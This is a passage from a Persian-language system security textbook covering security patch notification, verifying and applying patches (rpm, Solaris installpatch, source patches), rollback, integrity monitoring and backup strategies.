نکاتی در مورد اصلاح‌ها

چند مطلب دیگر در مورد مشکلات امنیتی و اصلاح‌های سیستم‌عاملها و برنامه‌های کاربردی وجود دارد:

- انواع سیستم‌عاملهای مبتنی بر Unix و بیشتر برنامه‌های کاربردی اصلی مثل سرویس‌دهنده‌های شبکه برای اعلام انتشار نسخه‌های جدید دارای گروههای پستی هستند. مایکروسافت برای بولتنهای امنیتی خود پست الکترونیکی را از طریق مرکز پروندهٔ اطلاعات مایکروسافت پیشنهاد می‌کند (http://register.microsoft.com/regsys/pic.asp). بسیاری از فروشندگان برای اعلام مسائل امنیتی یک گروه پستی مجزا معرفی می‌کنند. در این گروهها نام‌نویسی کنید و به پیامها توجه نمایید.
- گروههای پستی مختلفی مانند BugTraq و NT-BugTraq اخطارهای امنیتی بسیاری از محصولات را جمع‌آوری و منتشر می‌کنند. در این گروهها نام‌نویسی کنید (مثلاً در حالت دریافت پیامهای خلاصه) و به پیامها توجه نمایید.
- توسعه‌دهندگان زیادی از سیستم‌عاملها و برنامه‌های کاربردی وجود دارند که اطلاعیه‌های امنیتی به گروههای خبری مرتبط با Usenet پست می‌کنند (بعنوان مثال اطلاعیه‌های سرویس‌دهنده‌ای بنام BIND در comp.protocols.dns.bind می‌آید). بطور منظم به این گروه‌های خبری سر بزنید.
- اگر فروشندهٔ شما دیسک فشردهٔ حاوی اصلاح‌ها را توزیع می‌کند از آن استفاده کنید. اگرچه این دیسکهای فشرده ممکن است اصلاح‌های ارائه شده تا همان لحظه را ارائه نکنند، اما زمانیکه یک سیستم جدید تهیه می‌شود چون تعداد اصلاح‌هایی که باید download شوند را کاهش می‌دهند می‌توانند در زمان اتصال به اینترنت صرفه‌جویی زیادی کنند.
- سیستمهای به‌روزرسان خودکار، بسته‌های نرم‌افزاری نصب شده را با آخرین نسخه‌های قابل دسترس روی پایگاه وب فروشنده مقایسه می‌کنند و گزارش می‌دهند که کدام بسته‌بندی به‌روز نیست. بیشتر آنها همچنین می‌توانند بگونه‌ای پیکربندی شوند که بسته‌های نرم‌افزاری ارتقا یافته را بصورت خودکار download و نصب کنند. اگر شما به فروشنده برای به‌روزرسانی سیستم خود اعتماد داشته باشید این قابلیت می‌تواند مفید باشد. بعضی از آنها می‌توانند بر اساس برنامه‌ریزی قبلی بطور خودکار شروع به کار کنند و بعضی دیگر باید بصورت دستی اجرا شوند.
- دست آخر اینکه شما می‌توانید بصورت دستی پایگاه وب فروشنده را هر از چندگاه برای نسخه‌های جدید نرم‌افزار بررسی کنید.

به محض اینکه در خصوص اصلاحهای امنیتی مطالبی آموختید، تأمل نکنید و بلافاصله آنها را اعمال نمایید. آسیب‌پذیریهایی که بصورت عمومی منتشر می‌شوند تقریباً بلافاصله مورد سوء استفاده قرار می‌گیرند. (اصلاحهایی که علاوه بر اصلاح آسیب‌پذیریهای امنیتی قابلیتهای جدیدی را نیز به سیستم اضافه می‌کنند به این اندازه فوریت ندارند.)

Download و بررسی اصلاح‌ها

برای اینکه هریک از اصلاحهای مبتنی بر بسته‌های نرم‌افزاری یا مبتنی بر متن برنامه بخواهند مورد استفادهٔ شما قرار گیرند، مجبور هستید فایلها را از جایی بدست آورید. معمولاً فروشندگان، نرم‌افزارهای کاربردی خود را روی اینترنت از طریق شبکهٔ جهانی وب یا یک پایگاه FTP ناشناس قابل دسترس قرار می‌دهند. زمانیکه یک سیستم‌عامل یا نرم‌افزار کاربردی مورد توجه عموم قرار می‌گیرد، یک پایگاه وب یا پایگاه FTP به تنهایی نمی‌تواند پاسخگوی خیل تقاضاها برای download آن باشد، لذا بسیاری از فروشندگان نرم‌افزار سایتهای دیگری را بعنوان *پایگاههای انعکاسی*[۱۱۳] برای ارائه سرویس مشابه پایگاه اصلی خود درنظر می‌گیرند. در اینصورت کاربران تشویق می‌شوند که نرم‌افزار را از نزدیکترین پایگاه انعکاسی (در جغرافیای شبکه) download کنند. معمولاً هر از چندگاه از همهٔ نرم‌افزارهای پایگاه فروشنده (معمولاً بطور روزانه) در پایگاههای انعکاسی نسخه‌برداری می‌شود.

113 *Mirror Sites*

پایگاههای انعکاسی بدلیل افزایش دادن *میزان در دسترس بودن نرم‌افزار*[۱۱۴] از طریق تکرار، یک مزیت مهم امنیتی به حساب می‌آیند. آنها همچنین زمانی بسیار مفید هستند که شما با یکی از پایگاههای انعکاسی ارتباط سریع و با پایگاه اصلی ارتباط کند داشته باشید. از طرف دیگر پایگاههای انعکاسی چند نگرانی امنیتی بوجود می‌آورند:

- راهبران پایگاههای انعکاسی کنترل نسخه‌های محلی نرم‌افزار را در اختیار دارند و ممکن است بتوانند آنها را خراب کنند، با یک نسخهٔ آلوده به تراوا جایگزین نمایند، و ... . در اینحالت شما نه‌تنها باید به فروشنده اعتماد کنید، بلکه باید به راهبران پایگاه انعکاسی نیز اعتماد داشته باشید. اگر فروشنده به همراه نرم‌افزار خود امضاهای دیجیتالی آنرا نیز منتشر کند (بعنوان مثال PGP به همراه آرشیوهای متن برنامه، امضاهای gnupg در فایلهای rpm، یا امضای برنامه‌های ActiveX) چون می‌توانید کلید عمومی فروشنده را مستقیماً از پایگاه خود او و نه پایگاه انعکاسی بدست بیاورید، می‌توانید بیشتر مطمئن شوید که نرم‌افزاری که دریافت می‌کنید همان است که توسط فروشندهٔ اصلی ارائه شده است. بعضی سیستمهای به‌روزرسان بطور خودکار پیش از اعمال اصلاحها، امضاهای آنها را بررسی می‌کنند.
- حتی اگر به پایگاه انعکاسی اعتماد داشته باشید ممکن است به‌روزرسانی روزانهٔ پایگاه انعکاسی برای استفاده شما به اندازهٔ کافی سریع نباشد. اگر یک اصلاح امنیتی خیلی مهم منتشر شود ممکن است نتوانید ۲۴ ساعت صبر کنید که پایگاه انعکاسی محل شما به‌روز گردد. در این موارد راهی جز download کردن اصلاحها بطور مستقیم از پایگاه فروشندهٔ اصلی وجود ندارد.

در اعمال اصلاحهایی که در گروههای پستی و بولتنهای عمومی پیدا کرده‌اید بسیار مراقب باشید. در بدترین حالت ممکن است این اصلاحها برای این ساخته شده باشند که افراد را فریب دهند تا یک آسیب‌پذیری جدید روی سیستم خود نصب کنند، و در بهترین حالت معمولاً بوسیله برنامه‌نویسان بی‌تجربه‌ای ساخته شده‌اند که سیستمهایشان با سیستمهای شما متفاوت است و بنابراین راه‌حل آنها ممکن است بیش از اصلاح کردن سیستم شما، به آن آسیب برساند.

ارتقای نرم‌افزارهای کاربردی

تحت سیستمهای مدیریتی بسته نرم‌افزاری مبتنی بر Unix، ارتقای یک بسته نرم‌افزاری معمولاً فرایند بسیار ساده‌ای است. بعنوان مثال برای ارتقای بسته نرم‌افزاری bzip2-devel در سیستمی که از مدیریت بسته نرم‌افزاری RPM استفاده می‌کند دستورات زیر لازم هستند:

```
# ls -l *.rpm
-rw-r--r-- 1 root root 33708 Apr 16 23:15 bzip2-devel-1.0.2-2.i386.rpm
# rpm -K bzip2-devel-1.0.2-2.i386.rpm          Check the checksum and signature)
bzip2-devel-1.0.2-2.i386.rpm: md5 OK
# rpm -Uvh bzip2-devel-1.0.2-2.i386.rpm        Upgrade the package
Preparing...   ########################################### [100%]
1:bzip2-devel  ########################################### [100%]
# rpm -q bzip2-devel                    Confirm that the version is now 1.0.2-2
bzip2-devel-1.0.2-2
```

نصب یک اصلاح امنیتی Solaris نیز بطور مشابه آسان است. بعد از download اصلاح 104489-15.tar.Z از پایگاه وب http://sunsolve.sun.com، قطعه‌برنامهٔ installpatch برای نصب اصلاح بکار می‌رود:

```
% ls *.tar.Z
104489-15.tar.Z
% uncompress *.Z
% tar xf 104489-15.tar
% cd 104489-15
% ls
```

114 *Software Availability*

```
.diPatch*                              SUNWtltk/ backoutpatch* postbackout*
Install.info*                                  SUNWtltkd/ installpatch* postpatch*
README.104489-15 SUNWtltkm/            patchinfo*
% su
Password: password
#./installpatch.
Checking installed patches...
Generating list of files to be patched...
Verifying sufficient filesystem capacity (exhaustive method)...
Installing patch packages...

Patch number 104489-15 has been successfully installed.
See /var/sadm/patch/104489-15/log for details
Executing postpatch script...

Patch packages installed:
SUNWtltk
SUNWtltkd
SUNWtltkm

# showrev -p | egrep 104489
Patch: 104489-01 Obsoletes: Packages: SUNWtltk, SUNWtltkd
Patch: 104489-14 Obsoletes: Packages: SUNWtltk, SUNWtltkd, SUNWtltkm
Patch: 104489-15 Obsoletes: Packages: SUNWtltk, SUNWtltkd, SUNWtltkm
```

اگر از مدیریت مبتنی بر متن برنامه استفاده می‌کنید برای ارتقا یا به یک کنترل CVS روی متن برنامهٔ تغییریافته و یـا بـه اعمـال یک اصلاح روی متن برنامهٔ قدیمی برای به‌روزرسانی آن نیاز دارید. در هریک از این موارد متن برنامه باید مجدداً ترجمـه و سـپس نصب شود. در اینجا مثالی از اعمال یک اصلاح روی یک برنامهٔ کاربردی آورده شده است:

```
% ls -ld *
-rw-rw---- 1 dunemush dunemush 188423 Jul 20 12:07 1.7.5-patch09
drwx------ 10 dunemush dunemush 4096 Jul 4 16:15 pennmush/
% cd pennmush
% patch -p1 -s <../1.7.5-patch09
% make
....source code compile messages...
% make install
...installation messages...
%
```

اگر یک برنامهٔ سرویس‌دهنده‌ای را ارتقا می‌دهید، باید فرایند سرویس‌دهنده را متوقف سازید و آنرا مجدداً بکار اندازید تـا نـسخه‌ای که تازه نصب‌شده، اجرا شود – تعویض صرف برنامهٔ سرویس‌دهنده روی دیسک سخت برای جایگزین شدن نسخهٔ جدید با نـسخهٔ قدیمی کفایت نمی‌کند.

ارتقای نرم‌افزارهای کاربردی سیستمهای Windows کمی نامتعارف‌تر اسـت. اگـر نـرم‌افزارهـای کـاربردی یکـی از برنامـه‌هـای هسته‌ای مایکروسافت – مانند Internet Explorer یا Media Player – باشند، به‌روزرسان WindowsUpdate ادارهٔ آنرا بر عهده می‌گیرد؛ اما هر نرم‌افزار دیگری باید روش خود را برای ارتقا ارائه کند. بعضی‌ها ممکن است شما را مجبور کننـد کـه نـسخهٔ قدیمی‌تر را uninstall کنید و تنها پس از آن است که خواهید توانست نسخهٔ جدید را نصب کنید، برای بعضی ممکن است کـافی باشد که نسخه جدید را روی نسخهٔ قدیمی نصب کنید، و سایرین ممکن است روند ارتقای مخصوص به خود را داشته باشند (برنامه-های ضدویروس در این زمینه نمونه‌های خوبی هستند). شما مجبور خواهید بود در مورد هر برنامه‌ای به روش مخصوص آن عمل کنید.

بازگرداندن به عقب و پشتیبان‌گیری

به‌روز رسانی همیشه چارهٔ کار نیست. گاهی اوقات ارتقاها بیش از مشکلاتی که حل می‌کنند موجب بروز مشکلات جدید در سیستم می‌شوند؛ یا به این دلیل که قابلیتهای مهم را متوقف می‌کنند، و یا اینکه موجب اصلاح مورد نظر نمی‌شوند. این مسئله حائز اهمیت است که اگر مشخص شود ارتقای اعمال شده حاوی مشکلات است بتوان نرم‌افزار را به حالت قبل از ارتقا بازگرداند.

دو راهکار ابتدایی برای ترمیم یک ارتقای خراب وجود دارد. اول اینکه ممکن است بتوان اصلاح را به عقب بازگرداند و نسخهٔ قبلی را مجدداً احیا کرد. تحت سیستمهای مدیریت متن، برنامهٔ اصلاح می‌تواند برای حذف یک اصلاح اعمال‌شده قبلی نیز بکار رود، یا نسخه قبلی می‌تواند از یک مخزن CVS بازیافت گردد. ممکن است خیلی سخت باشد که یک بستهٔ نرم‌افزاری را بصورت سالم و بی‌دردسر به عقب بازگرداند. هرچند بیشتر نرم‌افزارهای مدیریت بسته نرم‌افزاری راهی برای بازنویسی نرم‌افزار نصب‌شده با یک نسخهٔ قدیمی‌تر ارائه می‌کنند، اما اگر وابستگیهای بسته نرم‌افزاری هم تغییر یافته باشند ممکن است لازم باشد که نسخهٔ قدیمی‌تر این وابستگیها هم پیدا و نصب شوند. بیشتر (اما نه همهٔ) اصلاحهای ارائه‌شده توسط مایکروسافت این قابلیت را دارند که خود را uninstall کنند و یا دستوراتی برای uninstall کردن در اختیار کاربر خود قرار دهند.

راهکار دوم برای سیستمهای مدیریت متن، تهیهٔ پشتیبان از نسخه‌های قدیمی‌تر نرم‌افزار است. با نگهداری نسخه‌های قدیمی‌تر متن برنامه، عموماً نصب مجدد نسخهٔ قبلی کار چندان مشکلی نیست. چندین نسخه می‌توانند در شاخه‌های مجزا در /usr/src نگهداری شوند، یا یک سیستم کنترل نسخه مانند RCS یا CVS می‌تواند بصورت محلی برای ردیابی چندین نسخه از نرم‌افزار در یک شاخه واحد بکار رود.

شاید مطمئن‌ترین روش، تهیهٔ یک پشتیبان کامل از سیستم پیش از انجام تغییرات باشد تا چنانچه نصب ارتقا بصورت صحیح انجام نشد بتوان سیستم را به حالت قبلی بازگرداند.

نظارت بر یکپارچگی و نصب

زمانیکه اصلاحهای جدید منتشر می‌شوند کسب اطمینان از به‌روز بودن نرم‌افزار سیستم یک قسمت مهم از پشتیبانی یکپارچگی است. نکتهٔ دیگری که به همان اندازه مهم است کسب اطمینان از این است که نرم‌افزار سیستم – و اطلاعات با ارزش شما – زمانیکه انتظار آنرا ندارید تغییر نمی‌کنند. در حالت ایده‌آل هیچ کاربر یا پردازهٔ غیرمجازی نباید بتواند از اطلاعات شما سوء استفاده کند. در عمل ضروری است بر اطلاعات خود بطور مداوم نظارت کنید تا بتوانید سوء استفاده‌ها را درصورت وقوع کشف و اطلاعات خود را بگونه‌ای آرشیو نمایید که بتوانید آنها را به حالت قبلی بازگردانید.

سوء استفاده

برای مبارزه با سوء استفاده چندین راه مختلف وجود دارد. علاوه بر مراقبت در سازماندهی اختیارات کاربران و فایلها، از فایلهای مهمی که دیر به دیر تغییر می‌کنند می‌توان روی *رسانه‌های فقط-خواندنی*[۱۱۵] نگهداری کرد. فایلها همچنین می‌توانند رمزگذاری شوند تا برای تغییر اطلاعات موجود در آنها به گذر از مراحل امنیتی بیشتری نیاز باشد. (ممکن است علیرغم اینکار، همچنان حذف یا خراب کردن این فایلها امکانپذیر باشد.)

همچنین شیوه‌های زیادی برای آشکار کردن سوء استفاده وجود دارد. در سیستمهای کوچکتر یا هنگامیکه تعداد فایلهای کلیدی که باید از آنها محافظت شود محدود است، تهیهٔ پشتیبان از فایلها روی *رسانه‌های فقط-نوشتنی*[۱۱۶] می‌تواند استراتژی مؤثری باشد. فایلها بطور منظم با همتاهای آرشیوشدهٔ خود مقایسه می‌شوند و اگر یک فایل خراب شد، می‌توان از نسخهٔ پشتیبان برای احیای آن استفاده کرد، و وقتی یک تغییر مجاز به فایل داده شود، نسخهٔ پشتیبان نیز با آن هماهنگ می‌گردد.

---

115 Read-Only Media
116 Write-Once Media

خلاصه‌های رمزشدهٔ فایلهای مهم می‌توانند بصورت offline محاسبه و ذخیره شوند و یا با رمزگذاری تحت محافظت قرار گیرند. همانطور که پیشتر گفته شد یک ویژگی مهم خلاصه‌های رمزشده این است که نمی‌توان فایل جدیدی تولید کرد که خلاصهٔ آن با خلاصهٔ محاسبه شده تطبیق داشته باشد. بعضی از سیستمهای ضدویروس می‌توانند عملکردی مشابه – که اغلب inoculation نامیده می‌شود – داشته باشند، آنجا که سرجمعها وارد فایلهای اجرایی می‌شوند. در فصل پنجم در مورد استفاده از فایلهای مقایسه‌ای و خلاصه‌های رمزشده برای ممیزی مداوم داده‌های سیستم بحث مفصلتری ارائه می‌شود.

نسخه‌های پشتیبان

نقصها، حوادث، بلایای طبیعی، و حملات به سیستم را نمی‌توان پیش‌بینی کرد و معمولاً علیرغم بهترین تلاشها نمی‌توان از وقوع آنها جلوگیری نمود؛ اما اگر پشتیبان داشته باشید می‌توانید سیستم خود را ترمیم نمایید و به یک وضعیت پایدار برسانید. حتی اگر تمام رایانهٔ خود را – مثلاً به علت آتش‌سوزی – از دست بدهید، با یک مجموعهٔ کامل از پشتیبانها می‌توانید بعد از خرید دستگاه جایگزین، اطلاعات خود را بازیابی نمایید. هزینهٔ ریزپردازنده و دیسک‌گردان جدید می‌تواند توسط شرکت بیمه تأمین شود، اما اطلاعات شما چیزی است که در بسیاری از موارد غیرقابل جایگزینی خواهد بود.

سالها قبل، تهیهٔ پشتیبانهای روزانه کاری مرسوم شده بود، چون سخت‌افزار رایانه معمولاً بدون دلیل مشخصی خراب می‌شد و نسخهٔ پشتیبان تنها راه مقابله با از دست رفتن داده به حساب می‌آید. امروز هم خرابی سخت‌افزار هنوز دلیل خوبی برای تهیه پشتیبان از سیستمها است. احتمال خراب شدن دیسک سخت کاملاً تصادفی است، چراکه حتی اگر یک دیسک سخت خوب بطور متوسط ۵ سال یا کمی بیشتر عمر کند، سازمانی با حدود ۲۰ تا ۳۰ دیسک سخت باید در هر چند ماه منتظر یک خرابی قابل ملاحظه باشد. دیسک‌گردانها معمولاً بدون هشدار قبلی خراب می‌شوند – گاهی اوقات تنها چند روز بعد از آنکه مورد استفاده قرار گرفتند. بنابراین کار عقلانی تهیهٔ پشتیبان از سیستم در بازه‌های زمانی منظم است.

پشتیبانها همچنین می‌توانند ابزار مهمی برای ایمن کردن رایانه‌ها در برابر حملات باشند. بخصوص، پشتیبان کامل به شما اجازه می‌دهد با مقایسهٔ فایلهای روی رایانه و فایلهای روی پشتیبان، آنچه را مهاجم عوض کرده بیابید. اولین پشتیبان از سیستم خود را بعد از نصب سیستم‌عامل تهیه کنید، و بعد از آن برنامه‌های کاربردی خود را نصب و اصلاحهای لازم امنیتی را اعمال نمایید. اولین نسخهٔ پشتیبان نه‌تنها به شما اجازه می‌دهد سیستم خود را بعد از حمله تحلیل کنید تا بفهمید چه چیزی تغییر کرده است، بلکه درصورت وقوع خرابی در سخت‌افزار نیز می‌تواند وقفهٔ زمانیِ ساخت مجدد سیستم را نیز کاهش دهد.

چگونه پشتیبان تهیه کنیم

امروزه چندین شکل مختلف از پشتیبانها مورد استفاده قرار می‌گیرند که ذیلاً به نمونه‌هایی اشاره شده است:

- نسخه‌برداری از فایلهای حیاتی در دیسک نوری یا دیسک مغناطیسی متحرک با ظرفیت زیاد؛
- نسخه‌برداری هر از چندگاه دیسک در یک دیسک spare یا انعکاسی؛
- انعکاسی کردن دو دیسک بصورت همزمان با استفاده از سیستمهای *RAID*[۱۱۷] سخت‌افزاری یا نرم‌افزاری؛
- تهیهٔ بایگانیهای دوره‌ای zip، sit، یا tar از فایلهای مهم؛ که می‌توانید از آنها روی سیستم اولیه و یا در مکانی دیگر نگهداری کنید؛
- تهیهٔ نسخهٔ پشتیبان روی نوار نوری یا مغناطیسی؛ و
- تهیهٔ پشتیبان برای فایلها از طریق شبکه یا اینترنت روی رایانهٔ دیگری که صاحب آن هستید، یا روی یک سرویس پشتیبان‌گیری اینترنتی.

117 *Redundant Array of Independent Disks*

بعضی از این خدمات می‌توانند بسیار ماهرانه عمل کنند. مثلاً می‌توانند سرجمعهای MD5 فایلهای شما را بررسی کنند و تنها از فایلهایی که یکتا هستند پشتیبان بگیرند. دراینصورت اگر شما هزاران رایانه داشته باشید که روی تمام آنها برنامه Microsoft Office وجود داشته باشد، هیچکدام از فایلهای آن برنامه‌ها به پشتیبان اضافه نمی‌شوند.

از چه چیزی پشتیبان تهیه کنیم

دو روش کلی برای سیستمهای پشتیبان رایانه‌ای وجود دارد:

۱. تهیهٔ پشتیبان از هرآنچه که در سیستم شما منحصر به فرد است – حسابهای کاربری، فایلهای داده و شاخه‌های مهم سیستمی که برای رایانهٔ شما/*خصاصی*[۱۱۸] شده است. این شیوه در نوار یا دیسک صرفه‌جویی می‌کند و زمان تهیهٔ یک نسخهٔ پشتیبان را کاهش می‌دهد. درصورت خراب شدن سیستم، ترمیم را ابتدا با نصب مجدد سیستم‌عامل رایانه خود و سپس نصب مجدد همهٔ برنامه‌های کاربردی شروع می‌کنید، و بعد از آن نوارهای پشتیبان خود را احیا می‌نمایید.

۲. تهیهٔ پشتیبان از همه چیز – چون بازسازی یک سیستم بطور کامل آسانتر از ترمیم یک تکه از سیستم است؛ و قیمت نوار هم ارزان می‌باشد.

عموماً شیوهٔ دوم باید ترجیح داده شود. علیرغم اینکه قسمتی از اطلاعاتی که شما از آن پشتیبان تهیه کرده‌اید پیشتر روی دیسکهای اصلی توزیع شده یا نوارهایی که برای بارگذاری سیستم به روی دیسک سخت از آنها استفاده کرده‌اید پشتیبان‌گیری شده‌اند، ولی نوارها یا دیسکهای توزیع هم گاهی اوقات گم می‌شوند. علاوه بر آن همینطور که عمر سیستم شما زیاد می‌شود، برنامه‌ها روی شاخه‌های رزروشدهٔ سیستم‌عامل نصب می‌شوند؛ مثل حفره‌های امنیتی که کشف و اصلاح می‌شوند و یا تغییرات دیگری که رخ می‌دهند. اگر تا کنون یکبار سعی کرده باشید سیستم خود را بعد از وقوع یک خرابی بازسازی کنید، می‌دانید اگر هرچیزی سر جای خود باشد روند انجام کار چقدر ساده‌تر است.

به همین دلیل توصیه می‌شود که همه چیز سیستم خود را (به این معنا که هرچیزی که برای نصب مجدد سیستم نیاز است – از جملهٔ همهٔ فایلهای نهایی را) هر از چندگاه در بازه‌های معین زمانی روی رسانهٔ پشتیبان ذخیره کنید. طول این بازه زمانی به سرعت تجهیزات پشتیبان‌گیر شما و میزان فضای حافظهٔ اختصاص داده شده به پشتیبانها و همچنین نیازهای سازمان شما بستگی دارد. شاید بخواهید هفته‌ای یکبار پشتیبان کامل تهیه کنید، و یا شاید بخواهید تنها دو بار در سال اینکار را انجام دهید.

انواع پشتیبان‌ها

سه نوع کلی پشتیبان وجود دارد: پشتیبان سطح صفر (روز صفر)، پشتیبان کامل، و پشتیبان افزایشی.

پشتیبان سطح صفر (روز صفر)

از سیستم اصلی شما یک کپی تهیه می‌کند. وقتی سیستم شما برای بار اول نصب می‌شود، پیش از آنکه افراد شروع به استفاده از آن بکنند، از هر فایل و برنامه در سیستم پشتیبان تهیه کنید. اگر این پشتیبان‌گیری بعد از یک نفوذ موفقیت‌آمیز به سیستم انجام شود ممکن است کاملاً بی‌ارزش باشد.

پشتیبان کامل

از هر فایل رایانه یک کپی روی پشتیبان گرفته می‌شود. این روش مشابه "پشتیبان روز صفر" است، جز اینکه هر از چندگاه انجام می‌شود.

---

118 Customized

پشتیبان افزایشی

تنها از فایلهایی نسخه‌برداری می‌شود که بعد از یک اتفاق خاص (مثل اصلاح برنامهٔ کاربردی دارای ضعف) یا تاریخ خاص (مثل تاریخ تهیهٔ آخرین پشتیبان کامل) تغییر کرده‌اند. از پشتیبان کامل و پشتیبان افزایشی معمولاً در کنار هم استفاده می‌شود. امروزه استراتژی رایج پشتیبان‌گیری بشرح زیر است:

- تهیهٔ پشتیبان کامل در اولین روز هفته بصورت یک هفته در میان؛ و
- تهیهٔ پشتیبان افزایشی در پایان هر اتفاقی که پس از تهیهٔ آخرین پشتیبان کامل در سیستم می‌افتد. این نوع پشتیبان افزایشی از آنجا که آندسته فایلهایی را بایگانی می‌کند که از زمان تهیه آخرین پشتیبان کامل تغییر کرده‌اند، گاهی اوقات *پشتیبان تفاوتی*[۱۱۹] نامیده می‌شود.

اکثر راهبران سیستمهای بزرگ تهیهٔ پشتیبانهای خود را بر اساس partition یا دیسک‌گردان طراحی و ذخیره می‌کنند. partitionهای متفاوت معمولاً به استراتژیهای مختلف پشتیبان‌گیری نیاز دارند. بر اساس این نظریه که هر تغییری که شما می‌دهید بسیار پر اهمیت است، برخی از partitionها مثل partition سیستم شما (اگر از هم جدا باشند) قاعدتاً باید هر زمان که در آنها تغییر ایجاد می‌شود پشتیبان‌گیری شوند. برای این سیستمها بجای پشتیبان افزایشی باید از پشتیبانهای کامل بهره برد، زیرا پشتیبان آنها فقط درصورت کامل بودن قابل استفاده است. همینطور بخشهایی که تنها برای ذخیره کردن برنامه‌های کاربردی استفاده می‌شوند تنها هنگامی به پشتیبان‌گیری نیاز دارند که برنامه‌های جدید نصب شوند و یا پیکربندی برنامه‌های موجود تغییر کنند.

از طرف دیگر پشتیبان‌گیری‌های افزایشی برای partitionهایی که جهت ذخیرهٔ فایلهای کاربر مورد استفاده قرار می‌گیرند مناسبتر است؛ اما ممکن است شما بخواهید مکرراً از این نوع پشتیبان‌گیری استفاده کنید تا درصورت وقوع خرابی، مقدار کاری که امکان دارد از دست بدهید را به حداقل رسانده باشید.

هنگامیکه پشتیبانیهای افزایشی ایجاد می‌کنید، از یک مجموعه نوارها یا دیسکهای پشتیبان‌گیری بصورت چرخشی استفاده کنید. نسخهٔ پشتیبان امشب نباید بر روی نواری که برای نسخه پشتیبان شب گذشته از آن استفاده شده نوشته شود. در غیراینصورت چنانچه رایانه در اواسط پشتیبان‌گیری امشب خراب شود، شما همهٔ داده‌های روی دیسک را از دست خواهید داد: داده‌های پشتیبان امشب (چون ناقص است)، و داده‌های پشتیبان شب گذشته (چون قسمتی از آن بوسیله پشتیبان امشب جایگزین شده است). بطور ایده‌آل پشتیبان‌گیری افزایشی را شبی یکبار انجام دهید، و برای هر شبِ هفته یک نوار مجزا داشته باشید.

پشتیبان را تا چه زمانی نگه داریم

ممکن است یک هفته یا یک ماه طول بکشد تا متوجه شوید که یک فایل حذف شده است. بنابراین شما باید بعضی از نوارهای پشتیبان را بمدت یکهفته، بعضی را یکماه، و بعضی را چندین ماه نگهداری کنید. بسیاری از سازمانها پشتیبانهای سالانه یا ۳ ماههٔ خود را برای همیشه آرشیو می‌کنند. بعضی از سازمانها نیز پشتیبانهای سالانه یا دوسالانهٔ خود را برای همیشه نگهداری می‌کنند، چراکه به هرحال انجام اینکار در مقابل این امکان که آنها روزی بکار آیند سرمایه‌گذاری اندکی به حساب می‌آید. در بعضی از کشورها ممکن است شرایط قانونی وجود داشته باشد که نگهداری پشتیبانهای انواع خاصی از داده‌ها (مثل ثبتهای حسابداری) را برای یک دورهٔ حداقلی الزامی کرده باشد. از طرف دیگر داشتن یک سیاست برای *تخریب داده‌ها*[۱۲۰] که حداکثر زمان نگهداری پشتیبانها را مشخص می‌کند نیز حائز اهمیت است.

ممکن است شما بخواهید یک نشانه‌گر یا فهرست از اسامی فایلهای روی نوارهای پشتیبان خود نگهدارید. با این روش هر وقت به احیای مجدد یک فایل نیاز پیدا کنید، بجای اینکه مجبور شوید هر نوار را بطور جداگانه بخوانید می‌توانید با بررسی فهرست، نوار

119 *Differential Backup*
120 *Data Destruction*

صحیح برای استفاده را پیدا کنید. در دست داشتن یک نسخهٔ چاپی از این فهرستها هم ایدهٔ خوبی است، خصوصاً اگر فهرست الکترونیکی شما روی سیستمی قرار داشته باشد که ممکن است لازم باشد احیا شود!

اگر از پشتیبانها برای مدت طولانی نگهداری می‌کنید، مطمئن شوید زمانی که یک سیستم پشتیبان جدید خریداری می‌کنید، داده‌های پشتیبان بدرستی روی آن منتقل می‌شوند. در غیر اینصورت ممکن است با نوارهایی مواجه شوید که بوسیلهٔ هیچکس و هیچ کجا نمی‌توان آنها را خواند. این موضوع برای دانشگاههای تحقیقاتی مهم و حتی مؤسسهٔ ملی *راهبری فضایی و هوایی ایالات متحده* (NASA)[۱۲۱] هم روی داده است.

سایر نکات تهیهٔ پشتیبان

چند راهکار مناسب دیگر برای افزایش قابلیت اطمینان پشتیبان وجود دارد:

استفاده از مجموعه‌های تکرارشوندهٔ پشتیبان

شما می‌توانید از دو مجموعهٔ مجزای نوارهای پشتیبان برای ایجاد یک *پشتیبان پشت سر هم*[۱۲۲] استفاده کنید. با این استراتژی پشتیبان‌گیری، دو پشتیبان کامل (بنامهای A و B) تهیه می‌کنید. سپس وقتی اولین پشتیبان افزایشی خود – افزایشی A – را انجام دادید، تمام فایلهایی که بعد از تهیهٔ آخرین پشتیبان A ساخته یا تغییر داده شده‌اند را – حتی اگر در پشتیبان B موجود باشند – پشتیبان‌گیری می‌کنید. دومین باری که پشتیبان‌گیری افزایشی انجام می‌دهید – افزایشی B – تمام فایلهایی که بعد از تهیهٔ آخرین پشتیبان B ساخته یا تغییر داده شده‌اند را می‌نویسید – حتی اگر در پشتیبان افزایشی A موجود باشند. این سیستم در برابر خرابی رسانه پشتیبان‌گیری مقاوم است، چون از هر فایل در دو محل پشتیبان‌گیری شده است، هرچنداینکار زمانی که شما برای تهیهٔ نسخهٔ پشتیبان صرف می‌کنید را دو برابر می‌کند.

جایگزینی نوارها درصورت نیاز

نوارها رسانهٔ فیزیکی هستند و هر بار که شما بوسیله نوارگردان از آنها استفاده می‌کنید تا اندازه‌ای کیفیتشان پایین می‌آید. بر اساس تجربهٔ خود از نوارگردان و نوار، باید برای هر نوار یک طول عمر مفید تعیین کنید. بعضی از فروشندگان برای نوارهایشان محدودیتهایی می‌گذارند (برای مثال ۳ سال یا ۲۰۰۰ چرخه)، ولی بعضی هم اینکار را نمی‌کنند. خوب دقت کنید که فروشنده در این زمینه چه توصیه‌ای دارد و آنرا زیر پا نگذارید. به یاد داشته باشید هزینه‌ای که با استفاده از یک نوار بعد از اتمام عمر مفید آن پس‌انداز می‌کنید، با هزینهٔ امکان جبران نشدن یک خسارت اساسی برابری نمی‌کند.

نوارگردانهای خود را تمیز نگهدارید

اگر پشتیبانهای خود را روی نوار ذخیره می‌کنید، از برنامهٔ زمانی پیشگیرانهٔ فروشندهٔ نوارگردان پیروی کنید و طبق توصیه‌ها از یک فشنگ تمیزکنندهٔ مناسب یا یک مکانیزم دیگر استفاده نمایید. ناتوانی در خواندن یک نوار بدلیل کثیف بودن نوارگردان آزاردهنده است؛ خصوصاً وقتی معلوم شود داده‌ای که روی نوار نوشته‌اید خراب است و درصورت وقوع یک خرابی نمی‌تواند مورد استفاده قرار بگیرد.

تصدیق صحت پشتیبان

